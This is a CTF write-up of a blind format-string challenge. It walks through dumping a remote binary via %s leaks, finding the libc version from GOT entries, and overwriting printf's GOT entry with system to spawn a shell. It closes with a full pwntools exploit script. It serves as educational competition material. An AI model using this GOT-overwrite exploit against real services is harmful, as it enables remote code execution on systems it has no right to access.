InsomniHack 2022 Teaser - CTF Writeup - CovidLe$s

insomnihack22 covidless

Intro

On the 29th of January 2022 our team (CYberMouflons) participated in the InsomniHack 2022 teaser (qualifier) CTF. Knowing from last year, this was going to be a tough one.

This writeup walks through my approach and solution of the Covidle$s (covidless) binary exploitation challenge. At the end of the competition, it had 81 solves and gave us 74 points.

Step 1: Understanding the Challenge

Looking at the challenge description, it is apparent that we didn’t get a lot. All we have is a netcat command to connect to a server; no binary; no information.

After I connected to the server, I was greeted with… Well, nothing. But after sending it some text, I got a response reading:

CYberMouflons
Your covid pass is invalid : CYberMouflons
try again ..

From the response, we could see that the program echoed back the text we sent. When seeing that, I immediately thought Format String, so a simple %x later, I confirmed my suspicion.

Step 2: Exploiting the Challenge

When, I’m presented with a format string challenge, the first thing I do is write a script to look through the stack, to make sure there isn’t any useful information on the stack (with %lx) or pointed to by a pointer on the stack (%s).

context.log_level = 'critical'
for i in range(1, 100):
    io = start()

    sl = lambda x : io.sendline(x)
    sla = lambda x, y : io.sendlineafter(x, y)
    se = lambda x : io.send(x)
    sa = lambda x, y : io.sendafter(x, y)
    ru = lambda x : io.recvuntil(x)
    rl = lambda : io.recvline()
    cl = lambda : io.clean()
    uu64 = lambda x : u64(x.ljust(8, b'\x00'))

    # string = '%lx.'*50
    # sl(string)
    # io.interactive()

    sl(f"%{i}$s")

    print(i, cl()[29:].replace(b"\ntry again ..\n\n", b""))
    io.close()

Using this ended up finding the string V4cC1n4t1on_1D_Pr1v_K3yS_c4nN0t_l34k on the stack. Which when giving it to the program presented me with a message and exited immedietly. It didn’t take long to realize that, that the “key” was going to be useless for exploiting the program.

Dumping the stack also gave me an idea of where some important offsets were located, whose use would be apparent later:

# binary address -> 1
# covid_pass -> 4..10
# my_input -> 12
# stack canary -> 29

As I looked through my options to go forward with the challenge, it looked like the most viable one was to leverage the format string vulnerability to dump the binary. Using the stack dump from before, I concluded that the base address of the binary is most likely 0x400000 so starting from there, I dumped as much as I could using the following (modified) code snippet from: https://www.da.vidbuchanan.co.uk/blog/HITB-XCTF-2018-babypwn.html

def get_returned_value():
    data = cl().replace(b"\ntry again ..\n\n", b"")[29:]
    return data


def read_address(addr):
    payload = b"%14$s".ljust(16, b",")
    payload += p64(addr)
    sl(payload)

    data = get_returned_value()
    return data.split(b',')[0]
    
def get_binary(base=0x400000, save=False):
    # https://www.da.vidbuchanan.co.uk/blog/HITB-XCTF-2018-babypwn.html
    leaked = b""

    while 1:
        addr = base+len(leaked)

        if b"\n" in p64(addr):
            leaked += b"\0"
            print("derp")
            continue

        leak = read_address(addr)
        leaked += leak + b"\0"
        print(hex(addr), hex(uu64(leak)))

        if save:
            l = open("leak.bin", "wb")
            l.write(leaked)
            l.close()

After sucessfully extracting the binary, I tryed analyzing it in Ghidra for some reason Ghidra couln’t load the binary. So, I ended up using Cutter with the Ghidra disassembler. After figuring out, by consulting the strings in the binary, what libc functions were loaded, I had a pretty good understanding of what was going on in the binary:

undefined8 main(void)
{
    int32_t iVar1;
    undefined8 uVar2;
    int64_t in_FS_OFFSET;
    int64_t var_c0h;
    int64_t var_b8h;
    int64_t var_b0h;
    int64_t var_a8h;
    int64_t var_a0h;
    int64_t user_input;
    int64_t var_8h;
    
    var_8h = *(int64_t *)(in_FS_OFFSET + 0x28);
    // Correct covid pass
    var_c0h = 0x74346e3143633456;
    var_b8h = 0x505f44315f6e6f31;
    var_b0h = 0x5379334b5f763172;
    var_a8h = 0x5f74304e6e34635f;
    var_a0h._0_4_ = 0x6b34336c;
    var_a0h._4_2_ = 10;
    while( true ) {
        memset(&user_input, 0, 0x80);
        fgets(&user_input, 0x80, *(undefined8 *)0x601070);
        iVar1 = strcmp(&user_input, &var_c0h);
    // if matching
        if (iVar1 == 0) break;
    // You Covid Pass is invelid....
        printf(0x400934);
        printf(&user_input);
    // try again
        puts(0x400952);
        fflush(*(undefined8 *)0x601060);
    }
    login_success();
    uVar2 = 0;
    if (var_8h != *(int64_t *)(in_FS_OFFSET + 0x28)) {
        uVar2 = stack_chk_fail();
    }
    return uVar2;
}

At this point, I ended up going down a rabit hole after finding this function and falsly naming it win. This looked very promising but after a long time attempting to write to 0x600ff8 using a format string and seg-faulting every time, I realized that, it was probably just wrongly decompiled or read from the remote server. After solving the challenge I looked at the actual binary in Ghidra and found no such function at its address.:

void win(void)
{
    if (*(code **)0x600ff8 != (code *)0x0) {
        (**(code **)0x600ff8)();
    }
    return;
}

Following on from, that I dumped the GOT, which was located at offset 0x601000 and with the help of the dumped binary, I assigned function names to some addresses and using a LibcDatabase, I found that the server uses the libc6_2.27-3ubuntu1_amd64.so library.

0x601000 0x600e20
0x601004 0x0
0x601005 0x0
0x601006 0x0
0x601007 0x0
0x601008 0x7fb82089c170
0x60100f 0x0
0x601010 0x7fb8206888f0 # fgets
0x601017 0x0
0x601018 0x7fb8203009c0 # puts
0x60101f 0x0
0x601020 0x4005f6
0x601024 0x0
0x601025 0x0
0x601026 0x0
0x601027 0x0
0x601028 0x7fb8202e4e80 # printf
0x60102f 0x0
0x601030 0x7fb82040ef50
0x601037 0x0
0x601038 0x7fb8202feb20
0x60103f 0x0
0x601040 0x7fb820329e70
0x601047 0x0
0x601048 0x7fb8202fe7e0 # fflush

With this information, I now had everything to exploit the program:

  1. Leak the libc base address from the GOT.
  2. Overwrite the GOT entry of printf with system using a format string
  3. Get a shell

For generating the format string to overwrite the GOT entry I used pwntools’ fmtstr_payload function just because it makes everything easier and faster.

context.clear(arch = 'amd64')

globalOffsetTable = {
        'puts': 0x601018,
        'printf': 0x601028
}

# resolve symbols
sl(b'')
cl()

libc.address = uu64(read_address(globalOffsetTable['puts'])) - libc.sym['puts']
log_addr('libc base address', libc.address)

payload_writes = {
        globalOffsetTable['printf']: libc.sym['system']
}
payload = fmtstr_payload(12, payload_writes, write_size='short')
print(payload)

sl(payload)

cl()
sl(b'/bin/sh')

Conclusion

To conclude this; I really enjoyed the challenge as this was the first time I had a format string challenge without the binary. Kudos to the challenge creator, Dai, and the organizers in general, for an amazing and challenging CTF!

Here is my “final” (very messy) script :D

#!/usr/bin/python3
# ./xpl.py R
from pwn import *

context.terminal = ['tmux', 'splitw', '-v']
context.arch = 'amd64'

binary = './'
# elf = ELF(binary)
libc = ELF('./libc6_2.27-3ubuntu1_amd64.so')

ssh_en = False
if args.R:
	host = 'covidless.insomnihack.ch'
	port = 6666

	if ssh_en:
	    user = ''
	    password = ''
	    r = ssh(user=user, host=host, port=port, password=password)


def start():
	if args.R:
	    if not ssh_en: return remote(host, port)
	    else: return r.process(binary, cwd='/problems/leap-frog_1_2944cde4843abb6dfd6afa31b00c703c')

	else:
	    gs = '''
        br _start
        c
	    init-pwndbg
	    c
	    '''
	    if args.GDB: return gdb.debug(elf.path, gs)
	    else: return process(elf.path)


def log_addr(name, addr):
    log.info('{}: 0x{:x}'.format(name, addr))

# context.log_level = 'critical'
# for i in range(1, 100):
#     io = start()

#     sl = lambda x : io.sendline(x)
#     sla = lambda x, y : io.sendlineafter(x, y)
#     se = lambda x : io.send(x)
#     sa = lambda x, y : io.sendafter(x, y)
#     ru = lambda x : io.recvuntil(x)
#     rl = lambda : io.recvline()
#     cl = lambda : io.clean()
#     uu64 = lambda x : u64(x.ljust(8, b'\x00'))

#     # string = '%lx.'*50
#     # sl(string)
#     # io.interactive()

#     sl(f"%{i}$s")

#     print(i, cl()[29:].replace(b"\ntry again ..\n\n", b""))
#     io.close()

io = start()

sl = lambda x : io.sendline(x)
sla = lambda x, y : io.sendlineafter(x, y)
se = lambda x : io.send(x)
sa = lambda x, y : io.sendafter(x, y)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
cl = lambda : io.clean()
uu64 = lambda x : u64(x.ljust(8, b'\x00'))

def get_returned_value():
    data = cl().replace(b"\ntry again ..\n\n", b"")[29:]
    return data


def read_address(addr):
    payload = b"%14$s".ljust(16, b",")
    payload += p64(addr)
    sl(payload)

    data = get_returned_value()
    return data.split(b',')[0]




def leak_stack(index, hexOut):
    sl(f"%{index}$lx")
    data = get_returned_value()
    if hexOut:
        return data
    else:
        return int(data, 16)

def leak_stuff():
    for i in range(1, 100):
        print(i, leak_stack(i, True))

    # for i in range(28, 31):
    #     print(i, leak_stack(i, True))

# stack offsets
# ret_address -> 1
# covid_pass -> 4..10
# my_input -> 12
# stack canary -> 29

def get_binary(base=0x400000, save=False):
    # https://www.da.vidbuchanan.co.uk/blog/HITB-XCTF-2018-babypwn.html
    leaked = b""

    while 1:
        addr = base+len(leaked)

        if b"\n" in p64(addr):
            leaked += b"\0"
            print("derp")
            continue

        leak = read_address(addr)
        leaked += leak + b"\0"
        print(hex(addr), hex(uu64(leak)))

        if save:
            l = open("leak.bin", "wb")
            l.write(leaked)
            l.close()


# Actual exploit!
context.clear(arch = 'amd64')
COVID_PASS = b"V4cC1n4t1on_1D_Pr1v_K3yS_c4nN0t_l34k"

globalOffsetTable = {
        'puts': 0x601018,
        'printf': 0x601028
}

# resolve symbols
sl(b'')
cl()

libc.address = uu64(read_address(globalOffsetTable['puts'])) - libc.sym['puts']
log_addr('libc base address', libc.address)

payload_writes = {
        globalOffsetTable['printf']: libc.sym['system']
}
payload = fmtstr_payload(12, payload_writes, write_size='short')
# payload = payload.replace(b'n', b'x')
print(payload)

sl(payload)

cl()
sl(b'/bin/sh')

# get_binary(base=0x601000)


io.interactive()